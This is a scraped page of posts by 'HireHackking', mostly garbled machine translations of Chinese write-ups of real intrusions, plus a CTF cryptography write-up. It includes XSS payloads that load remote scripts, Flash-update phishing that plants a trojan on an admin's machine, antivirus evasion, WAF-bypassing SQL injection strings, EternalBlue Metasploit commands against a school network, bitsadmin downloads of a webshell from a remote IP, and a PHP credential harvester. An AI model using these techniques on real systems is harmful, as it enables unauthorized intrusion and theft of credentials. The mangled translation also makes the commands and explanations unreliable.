
Everything posted by HireHackking
-
BC实战|从Xss到主机上线
我们必须保持良好的学习习惯,并使用这次我们通常学到的知识。 故事的原因 我几天前收到了一封电子邮件,内容如下: 您说将其发送给我有问题。我最近碰巧辞职了,我无事可做。让我们看看。 在添加了那个人的朋友之后,我偶然地聊了几个,这可能是:我说我没有钱从在线赌博中借钱,所以我请他带我去玩这个,所以我可以拿回贷款。几句话后,我向我发送了URL和邀请代码(我无法在本网站上没有邀请码注册),并要求我在网站上充电金钱。我说是的,我会先去一千。主人,你必须带我好,然后注册(后来,我没有为钱补充钱,所以他一直在摇晃我并给我发了一条消息。我感到很生气,所以我删除了他,所以聊天记录消失了,我只是指出了它,没有屏幕截图)。 脆弱性挖掘 官方网站屏幕截图 这太麻烦了,无法通过信息收集阶段。有云盾(WAF+CDN)。查看以下Yunxi指纹识别图。测试各种功能点,但没有结果。我不得不说,大多数BC安全性都做得很好。 在考虑了一段时间之后,我看到了聊天室的功能,然后去看看他们在说什么,但是我发现只有少数人来回聊天,偶尔有一些像我这样的普通成员。我觉得这是一个口号,一群导师大喊与他们下注。 专业习惯: 当您看到框时,要制作叉子,并用XSS有效载荷击中它: 1/textarea'script src=xssurl/脚本 WDNMD没有回应?它被加载了.我问其他大师,并说这种情况可能是CSP。我不会在这里解释。我最初计划放弃,但想到了如果不限制IMG怎么办。 再次吃我: 1IMG src=x OneError=s=createElement('script'); body.appendchild(s); s.src='xssurl'; ding〜ding〜电话响了,多么出色的声音,有效载荷已成功执行,还有一堆cookie(或不同的域名),但现实是残酷的。该网站具有httponly,无法使用cookie,并且尚未获得历史密码,但不要灰心,我们有一种更淫秽的方式。 闪存钓鱼 由于前肛门无法移动您,让我们走到一边。不久前,我经常看到Wuchang大师的Flash Fishing操作,这非常经典。然后,我认为有一天我会使用官方Flash网站的捕鱼源代码。我很早就写了它,然后将其放在Github:Portal上。 准备 一个自由空间,免费域名(域名可以用作www.flashxxx.tk,具有相对较高的信誉),以及可以正常启动的马匹。 然后,XSS平台创建一个模块,简要说明代码,在开始时重写警报方法,并阻止URL显示屏,弹出闪存升级提示符,然后跳到网络钓鱼页面: 关于Mazi 可以在运行正常安装文件时运行mazi,野蛮姿势:使用自提取捆绑文件 为了使自由压缩的EXE文件正常运行(已更改为正常的安装文件图标),必须确保其具有减压软件。我压缩了钓鱼页的自我压缩文件,并变成了flashplayerpp_install_cn.zip。这样,他必须安装解压缩文件才能打开安装程序,并且MA ZI将自然生效。 关于杀戮 由于技术有限,我们没有在没有杀死的情况下这样做。产生的马将被毒药部分杀死和报告。我不知道该怎么杀了对手,所以我想到了一种粗俗但有效的方法。实际上,许多在下载网站上下载的文件也喜欢这样做,哈哈。 一切都准备就绪 一切都准备就绪,只需要东风,直接发送升级提示+跳跃XSS有效载荷我刚刚写道: 该页面成功弹出,如果另一方不单击确定的页面,他会保持卡住。单击确定后,我的钓鱼页将跳到我的钓鱼页面(这里的钓鱼页面还添加了一些材料,以便他可以在单击后跳回钓鱼页) 但是,一开始没有人在线,所以我单击了,看到管理员重置了聊天页面的内容。奥利曾经说过:不要害怕我们遇到的任何困难。让我们更改数字并继续越过。间歇性过境和越过十次以上后,管理员可能无法帮助它(管理员:兄弟,停止玩,我还不能安装它),最后跑了我的马。 成功启动: 在这里启动了一个,但幸运的是,这是管理员的机器,否则以前的努力将是徒劳的。 看一段时间,相反的一面正在做爱: 这很明显,您可以看到钓鱼页仍然打开,他们两个仍在讨论亏损,他们死于笑声: 我打开了一本书,但我不明白这一点: 让我们看看存储了什么好东西,两个硬盘驱动器和一个U驱动器,C驱动器驱动器一无所有: F磁盘上有有关会员数据,账单流,管理后端配置等的信息。 停止直到: 我不会说太多。我看了在线IP,跑得很远,赚钱。我离开家乡并不容易。祝您在新的一年中和平重返祖国的拥抱。
-
TeamViewer在BypassAV中的妙用
在这里,我们只需要360来操作。防病毒能力仍然比360的能力差。 电视官方免费安装版本 这是TeamViewer官方网站下载页面:https://WWW.TEAMVIEWER.CN/CN/CN/DOWNLOAD/WINDOWS/。大多数人都用来直接下载此安装版本以使用 我不知道您是否注意到了。实际上,TeamViewer还提供了无安装版本的安装版本 旁路360 所有以下所有内容都连接到互联网,检测和杀戮引擎已完全打开(请参阅文章封面) 原始操作 以下图以正常方式运行TeamViewerqs.s.exe。尽管有提示,您可以看到默认选项是允许操作。 在Webshell下运行 假设现在我有此主机的网状壳,然后直接在马来西亚执行此文件 发现它成功弹出了 但是我们如何获得ID和密码? Toast共享了一部修改后的电视,该电视支持将帐户密码输出到文件中,但肯定会在以后被杀死。今天,我看到了Coolcat Master:Portal的文章。文章中有一个好主意,可以通过屏幕快照的想法获得。但是,Master CoolCat使用Python屏幕截图。实际上,没有人愿意每次在目标机器上安装Python环境。它应该简单简单。 关于屏幕捕获 有许多项目从GitHub上的命令行中获取屏幕截图。我刚刚找到一个:https://github.com/darealshinji/cmdline-screenshot-tool 在Webshell中,执行屏幕截图-Advanced64.exe并发现它被360截获了。我不知道为什么C ++中的360个报告的Java漏洞攻击. 简单旁路360 这里的旁路方法也很简单。将ScreenShot-Advanced64.exe的后缀更改为.7Z(在命令行上执行二进制文件时可以忽略后缀名称),然后上传它们以执行。 然后查看网站的根目录 ScreenShost.png是生成的屏幕快照,如下 杀死360 与帐户密码直接连接。有了远程桌面的权限,您是否仍然担心360无法做到? 010-1011目标客户端必须确定可以连接到TeamViewer的服务器 您必须使用远程桌面用户权限来运行TeamViewerqs.s.exe,否则屏幕将是黑色的,如果您连接到它。 上述应用程序方案仅适用于管理员不在时,因为建立远程会话后,双方都会看到它们。
-
BC实战|Bypass安全狗
将您学到的知识付诸实践。 脆弱性发现 经过常规过程后,我发现已读取标签信息的功能点是可疑的: 重播单语言: 您可以看到单个引号被逃脱了。查看关闭方法。没有大问题,因为有回声,因此您可以直接使用错误注入。 错误注入 获取数据库用户 1127)或updatexml(1,concat(0x3a,user()),1 获取数据库 1127)或updatexml(1,(选择concat(0x7e,(schema_name),0x7e),inovys_schema.schema.schemata limit 0,1),1 绕过安全的狗 取出我一段时间以前学到的狗打手法(超长字符绕过,不同类型的不同类型,原理是相同的):门户网站 以下内容与常规错误报告没有什么不同,所以我不会说太多,了解精神〜 小技巧 在渗透测试中,您习惯于从开发人员的角度考虑实现功能,并且您会更快地发现有效的入口点。 结合Burpsuite入侵者模块中的GREP匹配功能,可以快速提取错误注射结果。 超长字符不仅可以用于绕过安全犬注入中,而且还可以使用XS来污染参数。
-
一处图片引用功能导致的XSS
未来的迷人和辉煌总是在打电话给我,即使您只有陪伴您的痛苦,也必须勇敢地前进。 山和河流充满水,没有办法 漏洞点:现场产品审查办公室 初步测试 在开始时,我尝试了XSS,发现该程序已被过滤。不允许提交标签。最后一个被过滤,但被过滤 由于迅速速度相对较快,因此猜测前端有一层检测。尝试绕过前端检测,BURP拦截正式提交的内容,取代XSS有效载荷并发送。它将自动跳回主页。发现该程序后端还具有内容检测,并且XSS在这里暂时是不可行的。 查看编辑器的其他功能: 图像上传: 您可以上传ASPX(已经尝试了其他可能的解析后缀),并且无法解析和重定向到主页。 您可以上传HTML并解析。以这种方式构建的XS通常需要主动攻击,并且管理员在攻击过程中很容易检测异常,因此暂时不考虑它。 表达功能:无用。 另一个黑暗的柳树和鲜花 当我看到编辑器提示IMG的外部图像参考方法时,我觉得我可以在这里做到这一点: 正常测试 让我们首先查看正常引用方法中的前端显示。该链接被带入SRC(徽标之前的文本涉及域名,编码): 1 [img | xssurl |xxxxx 徽标] 带有有效载荷 将XSS有效载荷放在链接上,然后查看: 1234常规有效载荷:img src=x OneError=s=createElement('script''); body.appendChild(s); s.src='xssurl';构造有效载荷:[img | x OneError=s=s=createElement('scriptelement('script'')
-
Xss之HttpOnly下的攻击手法
它仅适用于想法组织,但没有提供实际的用法代码,请自己收集。 1.Phpinfo Page 锻造另一方的身份以访问同一网站的phpinfo页面。由于具有相同的域,因此可以通过Ajax提交访问读取witlseText,其中$ _server [“ http_cookie”]将使用httponly属性打印出cookie。 优点:成功率很高,最不容易检测到,也是最常用的方法。 缺点:需要phpinfo页面,条件很恶劣。 2。框架钓鱼 通过iFrame标签嵌入了一个远程域,并且在完全扩展后,它覆盖了原始页面。 优点:没有跳跃,没有更改域名。 缺点:通常涵盖普通页面,管理员很容易检测到。 3。跳钓 通过购买相似的域名,构建相同的网络钓鱼页面并使受害者跳到网络钓鱼站。 优势:强有力的倡议,可以主动采取行动。 缺点:成本很高,并且由于页面跳跃太明显,因此此方法很容易检测到。 4.历史密码 通过JS锻造登录表格,并欺骗浏览器自动填充,从而获得浏览器记住的历史密码。 优点:不容易发现,可以直接获得纯文本,并以很高的成功率获得。 缺点:每个内核浏览器的兼容性不同,最新版本的Google不再支持HTTP协议下的自动填充功能。 5。获取源代码 通过XSS获取后端页面源代码,您通常可以找到一些未经授权的访问权限,或与CSRF合作以添加新用户或执行其他功能,并通过审核后端JS等发现一些漏洞。 优点:信息可详细获取,您也可以获取背景帐户名称。 缺点:它具有很大的局限性,并且不容易使用。 欢迎大师添加。
-
剑走偏锋:旁站入侵到提权
我已经实习了一个月,我觉得每天仍然很充实〜 前言: 目标站点:A.Com 经过一系列常规操作,我发现主站点上没有什么可开始的。幸运的是,车站A没有CDN,因此您可以尝试从侧车站进入。 IP反调查,我得到了同一服务器的大约20个域名。手动通过了几次之后,我发现侧站B.com(ASPX+MSSQL)已添加了单引号并报告了错误。我将其扔进了SQLMAP,然后首先运行它,然后继续看另一个侧面站。但是,其中大多数是WordPress站点或纯粹是静态的。我没有任何麻烦。看完一段时间后,我发现SQLMAP运行的结果如下: 123456789101112---Parameter: ProductID (GET)Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: ProductID=2' AND 1913=1913 AND 'GquC'='GquCType: error-based Title: Microsoft SQL Server/Sybase AND error-based - WHERE or HAVING条款(in)有效载荷: produciD=2'和1360 in(select(char(113)+char(113)+char(113)+char(107)+char(107)+char(107)+char(113)+char(113)+(select(select(case(1360=1360)) 'JOdp'='JOdp---web server operating system: Windows 8.1 or 2012 R2web application technology: ASP.NET 4.0.30319, ASP.NET, Microsoft IIS 8.5back-end DBMS: Microsoft SQL Server 2008 When using SQLmap to continue running data, it was found that all dynamic pages of B station B reported errors.错误内容被翻译成一个短时间,这导致了过载数据库的查询请求太多,从而导致线程池被超载。 等待大约十分钟后,该网站恢复了正常,因此在关键时刻,手动工作仍然可靠。 MSSQL错误注入: 由于SQLMAP给出的提示包括错误注入,因此直接用于注入错误,这是相对效率的。以下是注射过程以及需要关注的内容: 获取数据库名称: 121. http://B.com/AutoMain.aspx?ProductID=1' and db_name()0--b.com_db 查询当前数据信息: 121. http://B.com/AutoMain.aspx?ProductID=1' having 1=1--Product.ProductID 踩坑的指南: The subquery does not support returning multiple数据,MSSQL不像MySQL那样支持限制。该解决方案在 获取表名称: 1234561。http://B.com/automain.aspx?productId=1'and 1=(从sysobjects中选择xtype='u'and name!='fofe'sysobjects中的顶部1个名称! http://b.com/automain.aspx?productId=1'and 1=(从信息_schema.tables中选择顶级1个table_name); - 此方法可以查询任何用户表:3http://b.com/automain.aspx?productId=1'and con中的最佳名称,从sysobepts中选择xtypepts xtypempts xtypepts xtypepts xtypepts xtype) 1--Getted user table: AdminLogin 获取列名: 123456781. http://B.com/AutoMain.aspx?ProductID=1' and 1=(select top 1 name from sysobjects where id=(select id from sysobjects where name='AdminLogin') and name'id');--2. http://b.com/automain.aspx?productId=1'and 1=(从Information_schema.columns中选择顶级1列name); - 此方法可以查询adminlogin表的任何列:3。3http://b.com/automain.aspx?productId=1'and(colog_nate) sysobjects)1-获取用户表的列名:adminusernamePassword 获取数据: 123451。http://b.com/automain.aspx?productId=1',然后(从Adminlogin中选择Adminlogin中的顶级1用户名。 http://b.com/automain.aspx?productId=1'and(从Adminlogin中选择顶级1密码,其中adminid=1)1-计算密码:Adminisrislamabad 效果显示在图片中: 边框getshell: 通过获得的帐户密码成功登录了B站的网站后端 文件上传位置仅验证文件类型,上传图片以获取包裹并更改后缀。连接到外壳后,您发现没有跨目录的许可,因此您只能继续增加权限。 主机特权升高: 一开始,我查看了系统过程,它不应该杀死软(实际上,有些,从国外杀死软的人的名字不是很引人注目),而且我什至没有打过几个补丁,所以我认为很容易得到它。 我以为我可以通过常规操作取消它,因此我直接运行了CS的遥控器,发现没有在线主机。仔细看了看后,我看到特洛伊木马刚刚去世,然后我意识到自己遇到了杀手。然后,我尝试了几个升高的当地经验,要么被杀,要么报告了错误。 后来我想起,来自吐司的兄弟分享了免于杀人的远程权利工具: 成功促进权力: 促进功率成功后,随后的操作将是顺利的。目的是获得A.Com Shell,首先使用NC使用系统权限反弹CMDShell,然后您可以直接写马或远程下载它,并且还有许多其他姿势. 参考文章: https://www.jianshu.com/p/0cf7bd46237e https://github.com/aleenzz/mssql_sql_bypass_wiki
-
get_AV|Windows杀软在线对比辅助
在正常穿透过程中求解疼痛点。 在渗透测试中,Windows主机上总是有各种软件杀伤设备,手动查看系统过程也很麻烦。 然后我发现互联网上没有人写过这件事,所以我有这个Windows杀手在线比较助理。 github:https://github.com/r00tse7en/get_av 在线版本:Windows Killer在线比较助手 让我们分享一下,一个是促进有需要的人,另一个是希望表兄弟可以共享一些他们通常遇到的不受欢迎的软杀。将来,Github和在线版本将继续同时更新数据。
-
Tor-IP-Changer实现Sqlmap自动切换代理IP
在SQLMAP注入过程中,始终禁止IP。面对很多阿姨,只能没有代理池就放弃吗? 用户工具: 小型飞机,代理商,TOR浏览器,TOR IP更换器(门户网站),SQLMAP 操作步骤: 首先连接到小平面 配置代理商 配置代理服务器 配置代理规则 您已经处于全球代理状态 配置和打开Tor浏览器(请勿关闭) 打开TOR IP更换器 单击TOR服务器- 启动,并等待软件自动配置它 单击选项- 设置- 间隔(IP开关间隔时间,越快的速度越稳定) - 保存 单击IP更换器- 启动,如下图所示,它是成功的 sqlmap命令 1 sqlmap.py -u url -tor -tor-tor-type='Socks5' 参考文章: 使用此方法可大大提高匿名性和安全性,但成本是牺牲一些速度和稳定性。 https://www.freebuf.com/column/171981.html
-
渗透学校某内网服务器
他自己的学校“涂黑”可能是学生在学生中大多数黑人富裕学生的普遍痴迷。 前言: 一时兴起,我突然想看看学校是否可以使用永恒的蓝色击落机器,顺便说一句,我想看看Intranet渗透是否渗透了。当刚刚揭示了永恒的蓝色利用工具时,我想到了最后一个测试。当时,MSF尚未集成,因此直接使用MSF更加方便。 信息收集: 已知10.10.10.0/24 IPS用于学校的各种服务器 使用MSF中的批处理MS17_010验证模块: 123456MSF5使用辅助/扫描仪/smb/smb/smb/smb/smb/smb_ms17_010 msf5辅助(scanner/smb/smb/smb/smb/smb/smb/smb/smb/smb_ms17_010)set rhosts 10.10.0.0.0.10.10.10.10.10.254rhost=10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.10.254MSF5辅助(scanner/smb/smb/smb_ms17_010)设置线程20 threads=20msf5辅助(scanner/smb/smb/smb/smb/smb/smb_ms17_010)exploit扫描的结果如下 漏洞开发: 获取CMDShell IP为10.10.10.104(2008 x64)的主机可以成功使用: 此主机的关键信息:端口8080正在运行Tomcat的服务,端口3389不打开,3306正在运行MySQL服务,暂时未考虑其他端口。 123456789111121314151617192021222222222426MMSF5使用Exploit/windows/windows/smb/msb/ms17_010_eternalblue msf5 exploit(windows/smb/smb/ms17_010_eternalblue) (exploit/windows/smb/ms17_010_eternalblue): Name Current Setting Required Description ---- --------------- -------- ----------- RHOSTS yes The target address range or CIDR identifier RPORT 445 yes The target port (TCP) SMBDomain .否(可选)用于身份验证的Windows域SmbPass no(可选)指定用户名Smbuser no(可选)用户名为VERIFY_ARCH true是的,请检查远程体系结构是否与Exploit target.exploit Target : ID名称---- 0 Windows 7 Windows 7和Server 2008 R2(x64 R2) exploit(Windows/SMB/MS17_010_ETERNALBLUE)设置RHOST 10.10.10.10.104RHOSTS=10.10.10.10.10.104MSF5 EXPLOIT(Windows/SMB/MS17_010_ETERNALBLUE)运行以下图成功返回了CMDSHELL,并且还可以直接返回系统权限。但是,任务清单/SVC查看当前过程并具有360个主动防御,这更加令人困惑。根据原则,应将其阻止。也许我很幸运2333: cmdshell升级仪表台(失败) 由于CMDShell不像MeterPreter(MeterPreter具有相对功能强大的功能)那样容易使用,因此请尝试升级到MeterPreter 第一个方法: 12345678911112131415MSF5 exploit(Windows/SMB/MS17_010_ETERNALBLUE)使用POST/MULTI/MALTI/MANCAN/MANCAN/SHELL/SHELP_TO_METERPRETER MSF5 POST(multi/shell_to_to_to_meter) ------------------------------------------------ true是启动一个漏洞/多/处理程序,以接收接收有效载荷连接的主机的连接lhost lhost no IP(将尝试自动检测)。 LPORT 4433是有效载荷连接到的端口。会话是的会话会话。 1件-U 1,我不知道为什么失败(更改想法): 远程文件下载: Windows随附的远程文件下载功能非常强大,因此您可以下载所需的任何内容。 一开始,我想直接打开端口并使用我的帐户登录。我没想到远程连接存在问题。然后我以为我可以带外壳尝试一下。 启用远程连接 此计算机打开Apache服务,将3389. bat放入/var/www/html中,在cmdshell中执行它。下载成功后,运行3389.bat 1bitsadmin /Transfer N http://IP /OPEN3389.BAT C: \ Windows \ Windows \ 3389.Bat运行后(记住要删除),发现端口3389已打开 在Kali下连接到远程桌面的问题很小。 Baidu之后,我没有清楚地解释这一点(我暂时放弃了)。 但是,当我切换到Win系统时,似乎没有问题,因为我考虑了如何方便地进行操作(物理机器运行Kali,如果我切换回赢),我不会捕获密码。 尝试getshell 首先找到Web所在的目录(请记住用空格的目录进行双引号): 1234dir C: \ dir'c: \ program Files \'. dir'C: \ Program Files \ apache Software Foundation \ tomcat 7.0 \ webapps \ eleserver \ eLeserver \'看起来应该是电源管理系统: 最后,我决定将外壳放在系统的UI框架的目录中。 还使用远程文件将JSP马来西亚下载到此目录 1bitsadmin /Transfer N http://IP /Xieying.jsp'C: \ Program Files \ Apache Software Foundation \ Apache Software Foundation \ Tomcat 7.0 \ WebApps \ Eleserver \ Eleserver \ bjui \ bjui \ plugins \ xieying.jsp 结束 我觉得它只是远程登录。无需浏览系统文件并删除电源系统和备份数据库的战争包。在本地构建它,您应该能够获取系统的帐户密码。 删除外壳后,我仍然是一个听话和好学生。
-
圈子社区登陆处任意url跳转实现钓鱼用户
漏洞本身并不有害,一点点使用它很有趣。 010-10圆圈社区登录主页默认链接:https://www.secquan.org/login?jump=AHR0CHM6LY93D3CUC2VJCXVHBI5VCMC= 在上面的红色框中跳转后,基本64的内容为:3https://www.secquan.org 在这里,从https://www.baidu.com替换Base64加密的内容,构建的链接是: https://www.secquan.org/login?jump=Ahr0chm6ly93d3cuymfpzhuuy29t 登录成功后,它将自动跳到百度。 漏洞详细信息 使用IDEA 实用使用 (有限的能力,不完美,但看起来像这样): 访问构造的网络钓鱼链接并在正常的中登录 ※QQ 在以下所有测试中都进行了测试 实际上,默认情况下,URL显示了弹出窗口中的标题,这意味着地址直接暴露。添加一块JS来重写警报方法。 1234567891011ScriptWindow.alert=function(name){var iframe=document.createelement('iframe'); iframe.style.style.display='none'; iframe'; iframe.setAttribute('src',src',src',src', 'data:text/plain,');document.documentElement.appendChild(iframe);window.frames[0].window.alert(name);iframe.parentNode.removeChild(iframe);}alert('Account exception, please log in again');/script 第一次查看页面跳跃时弹出窗口的效果 Ctrl+S saved the static page of the homepage of the community本地登录,并进行了一些修改(与接收帐户密码的PHP文件结合使用)。一段时间后,我发现无法调用验证代码,因此我只是直接将其删除。我觉得这个验证代码是最失败的地方。 主页上的成品是这样的(几乎没有被迫做假的和真实的) 1234567?php $ email=$ _ post ['email']; $ password=$ _ post ['password']; $ result=$ email。 file_put_contents('fish.txt',$ result.php_eol,file_append); echo'scriptwindow.location.href='3https://www.secquan.org'/script'; 只需写一个PHP页面即可在后台接收帐户密码 最后,用户输入的内容写入同一目录中的fish.txt,该页面被重定向到https://www.secquan.org。由于先前的成功登录会话仍在那里,因此直接登录。
-
2024熵密杯wp
第一部分:初始谜题这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。 但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。 每个题目也都有前三血的加成,一血5%,二血3%,三血1%,在最后排名的时候会先根据分数再根据解题时间,所以血量分其实很重要,但是手速实在不太够 然后就是他每个初始谜题下发的附件不仅包含加密用的.py文件,还有一个.exe文件,开启实例并输入ip和端口,之后题目就会下发加密数据,与他进行正确交互后就能拿到flag了。 初始谜题一(300 pts)题目: from sympy import Mod, Integer from sympy.core.numbers import mod_inverse # 模数 N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123" MODULUS = Integer(int(N_HEX, 16)) MSG_PREFIX = "CryptoCup message:" # 加密函数 def encrypt_message(message, key): # 添加前缀 message_with_prefix = MSG_PREFIX + message message_bytes = message_with_prefix.encode('utf-8') message_len = len(message_bytes) num_blocks = (message_len + 15) // 16 blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_blocks)] # 进行0填充 blocks[-1] = blocks[-1].ljust(16, b'\x00') encrypted_blocks = [] k = key # 加密每个分组 for block in blocks: block_int = int.from_bytes(block, byteorder='big') encrypted_block_int = Mod(block_int * k, MODULUS) encrypted_blocks.append(encrypted_block_int) k += 1 # 密钥自增1 # 将加密后的分组连接成最终的密文 encrypted_message = b''.join( int(block_int).to_bytes(32, byteorder='big') for block_int in encrypted_blocks ) return encrypted_message # 解密函数 def decrypt_message(encrypted_message, key): num_blocks = len(encrypted_message) // 32 blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_blocks)] decrypted_blocks = [] k = key # 解密每个分组 for block in blocks: block_int = int.from_bytes(block, byteorder='big') key_inv = mod_inverse(k, MODULUS) decrypted_block_int = Mod(block_int * key_inv, MODULUS) decrypted_blocks.append(decrypted_block_int) k += 1 # 密钥自增1 # 将解密后的分组连接成最终的明文 decrypted_message = b''.join( int(block_int).to_bytes(16, byteorder='big') for block_int in decrypted_blocks ) # 去除前缀 if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')): decrypted_message = decrypted_message[len(MSG_PREFIX):] return decrypted_message.rstrip(b'\x00').decode('utf-8') # 测试 initial_key = Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0) message = "Hello, this is a test message." print("Original Message:", message) # 加密 encrypted_message = encrypt_message(message, initial_key) print("Encrypted Message (hex):", encrypted_message.hex()) # 解密 decrypted_message = decrypt_message(encrypted_message, initial_key) print("Decrypted Message:", decrypted_message) 题目加密流程大概如下: 有一个未知的initial_key,与一个未知的message对于这个message,题目会在他前面填上一个固定的前缀”CryptoCup message:”,并在最后补充上”\x00”使得整个消息长为16的倍数将填充了前后缀的消息按16字节为一组分组从第一个分组开始,将该分组消息转化为整数,记为mi,并计算: 其中ki是key在对应分组的值(key每个分组之后会自增一) 将所有ci转成32字节,并连接在一起得到密文靶机只会发送encrypted_message,要发送给他message来拿到flag。这个可以说是相当轻松了,由于有一个已知的前缀,并且他超过了16字节,因此就有第一个分组对应的明文和密文,所以就可以直接求出key来。 exp: from Crypto.Util.number import * N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123" MODULUS = int(N_HEX, 16) MSG_PREFIX = b"CryptoCup message:" c = bytes.fromhex("a7ea042608ffce5be79a19ee45533506819e85f8d9250fccef5a89731151fd7a76d83aa85c47ba1357a86d0e9763470fb608cd54d0927125f500353e156a01da759fa814e96fa41a888eea3a9cf9b062923ed70774add490c7ed7f83d6b47e711e7b3c8a960dcc2838e577459bb6f2769d0917e1fd57db0829633b77652c2180") C = [c[32*i:32*i+32] for i in range(len(c)//32)] msg = b"" key = bytes_to_long(C[0]) * inverse(bytes_to_long(MSG_PREFIX[:16]), MODULUS) % MODULUS for i in range(len(C)): msg += long_to_bytes(bytes_to_long(C[i]) * inverse(key,MODULUS) % MODULUS) key += 1 print(msg) #CryptoCup message:dHyNBCgxEq4prNBbxjDOiOgmvviuAgfx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\ 发送message回去之后就会拿到flag,以及一个登录Gitea的帐号密码: 验证通过 flag{OYLXbASQsEc5SVkhBj7kTiSBc4AM5ZkR} gitea账号:giteauser2024 gitea口令:S(*HD^WY63y89TY71 提示:gitea账号和口令用于登录第二环节的gitea服务器,请注意保存! 后面两个初始谜题也都是给一个拿分的flag,以及一个账号密码作为开第二部分的钥匙,所以后面两个初始谜题就不写这个了 初始谜题二(300 pts)题目: import binascii from gmssl import sm3 # 读取HMAC key文件 def read_hmac_key(file_path): with open(file_path, 'rb') as f: hmac_key = f.read().strip() return hmac_key # 生成token def generate_token(hmac_key, counter): # 如果HMAC_KEY长度不足32字节,则在末尾补0,超过64字节则截断 if len(hmac_key) < 32: hmac_key = hmac_key.ljust(32, b'\x00') elif len(hmac_key) > 32: hmac_key = hmac_key[:32] # 将计数器转换为字节表示 counter_bytes = counter.to_bytes((counter.bit_length() + 7) // 8, 'big') # print("counter_bytes:", binascii.hexlify(counter_bytes)) tobe_hashed = bytearray(hmac_key + counter_bytes) # print("tobe_hashed:", binascii.hexlify(tobe_hashed)) # 使用SM3算法计算哈希值 sm3_hash = sm3.sm3_hash(tobe_hashed) # 将SM3的哈希值转换为十六进制字符串作为token token = sm3_hash return token current_counter = 0 def verify_token(hmac_key, counter, token): # 生成token generated_token = generate_token(hmac_key, counter) global current_counter # 比较生成的token和输入的token是否相同 if generated_token == token: if counter & 0xFFFFFFFF > current_counter: current_counter = counter & 0xFFFFFFFF print("current_counter: ", hex(current_counter)) return "Success" else: return "Error: counter must be increasing" else: return "Error: token not match" # 假设HMAC key文件路径 hmac_key_file = 'hmac_key.txt' # 假设计数器值 counter = 0x12345678 # 读取HMAC key hmac_key = read_hmac_key(hmac_key_file) # 生成token token = generate_token(hmac_key, counter) print("Generated token:", token) print(verify_token(hmac_key, counter, token)) 题目内容很简单: 读取一个未知的hmac_key,并生成一个随机的counter将hmac_key控制在32字节(不足则填充”\x00”,超出则截断)将hmac_key与counter拼接起来进行SM3哈希然后下发的数据有: SM3得到的哈希值counter值我们需要完成的事情是: 找到一个新的counter,使得新counter的低32位比原来的counter大计算出hmac_key与新counter拼接后的SM3哈希值发送新counter和这个哈希值就能拿到flag看明白题意就会知道这是一个基于SM3的哈希长度扩展攻击,由于控制了hmac_key为32字节,并且counter只有4字节,而SM3的分组长度是64字节,所以说我们拿到的哈希值是只有一个分组的。而按照SM3的填充规则,这个分组哈希的完整分组其实是下面这部分内容的part1 + part2:(单引号代表字节串,双引号代表比特串) #448 bits part1 = 'hmac_key'(32 bytes) + 'counter'(4 bytes) + "1" + "00...0" #64 bits part2 = bin(8*(len(hmac_key + counter)))[2:].zfill(64) 这两部分拼起来就得到了完整的第一个分组。 SM3的哈希长度扩展攻击基于其Merkle Damgard结构,我们可以用一个已知分组的哈希值,去继续迭代计算更长的含有该分组消息的哈希值,而不需要知道这个分组对应的明文是什么。所以我们完全可以构造下面这样的counter: New_counter = 'counter'(4 bytes) + "1" + "00...0" + bin(8*(len(hmac_key + counter)))[2:].zfill(64) + '\xff\xff\xff\xff' 那么hmac_key拼接上这个counter后,其用于SM3哈希的消息就会按64字节分为两组,而第一组是和靶机发送的消息完全一样的,因此我们就可以利用哈希长度扩展攻击迭代计算整个消息的哈希值了,具体实现代码是赛前那天晚上在github上随便找的: KKrias/length-extension-attack-for-SM3 (github.com) 稍微对着题意改一改就好。 exp: def zero_fill(a,n): if len(a)<n: a="0"*(n-len(a))+a return a def cycle_shift_left( B, n): n=n%32 return ((B << n) ^ (B >> (32 - n)))%(2**32) def T(j): if j>=0 and j<=15: return int("79cc4519",16) elif j>=16 and j<=63: return int("7a879d8a",16) def FF(X,Y,Z,j): if j>=0 and j<=15: return X^Y^Z elif j>=16 and j<=63: return (X&Y)|(X&Z)|(Y&Z) def GG(X,Y,Z,j): if j >= 0 and j <= 15: return X ^ Y ^ Z elif j >= 16 and j <= 63: return (X & Y) | (~X & Z) def P0(x): return x^(cycle_shift_left(x,9))^cycle_shift_left(x,17) def P1(x): return x^(cycle_shift_left(x,15))^cycle_shift_left(x,23) def Message_extension(a): #a的数一定要满足512bit,不够要补零!! ,承接的是字符串 W1 = [] # W0-15 W2=[] # W' 0-63 #print("a消息扩展的a:",a) for i in range(int(len(a) / 8)): W1.append(int(a[8 * i:8 * i + 8],16)) #print("W1的前16个",a[8 * i:8 * i + 8]) for j in range(16,68): temp=P1(W1[j-16] ^ W1[j-9] ^ cycle_shift_left(W1[j-3],15)) ^cycle_shift_left(W1[j-13],7)^W1[j-6] #print("消息扩展:",hex(temp)) W1.append(temp) for j in range(0,64): W2.append(W1[j]^W1[j+4]) W1.append(W2) return W1 def CF(V,Bi): #V是字符串 Bi=zero_fill(Bi,128) W=[] W=Message_extension(Bi) #消息扩展完的消息字 #print("W:",W) A=int(V[0:8],16) #print("A:", hex(A)) B = int(V[8:16], 16) C = int(V[16:24], 16) D = int(V[24:32], 16) E = int(V[32:40], 16) F = int(V[40:48], 16) G = int(V[48:56], 16) H = int(V[56:64], 16) for j in range(0,64): temp=(cycle_shift_left(A,12) + E +cycle_shift_left(T(j),j)) %(2**32) SS1=cycle_shift_left(temp,7) SS2=SS1 ^ cycle_shift_left(A,12) TT1=(FF(A,B,C,j) +D +SS2 +W[-1][j] ) %(2**32) TT2=(GG(E,F,G,j)+H+SS1+W[j])%(2**32) D=C C=cycle_shift_left(B,9) B=A A=TT1 H=G G=cycle_shift_left(F,19) F=E E=P0(TT2) #print("B:", hex(B)) t1=zero_fill(hex(A^int(V[0:8],16))[2:],8) t2 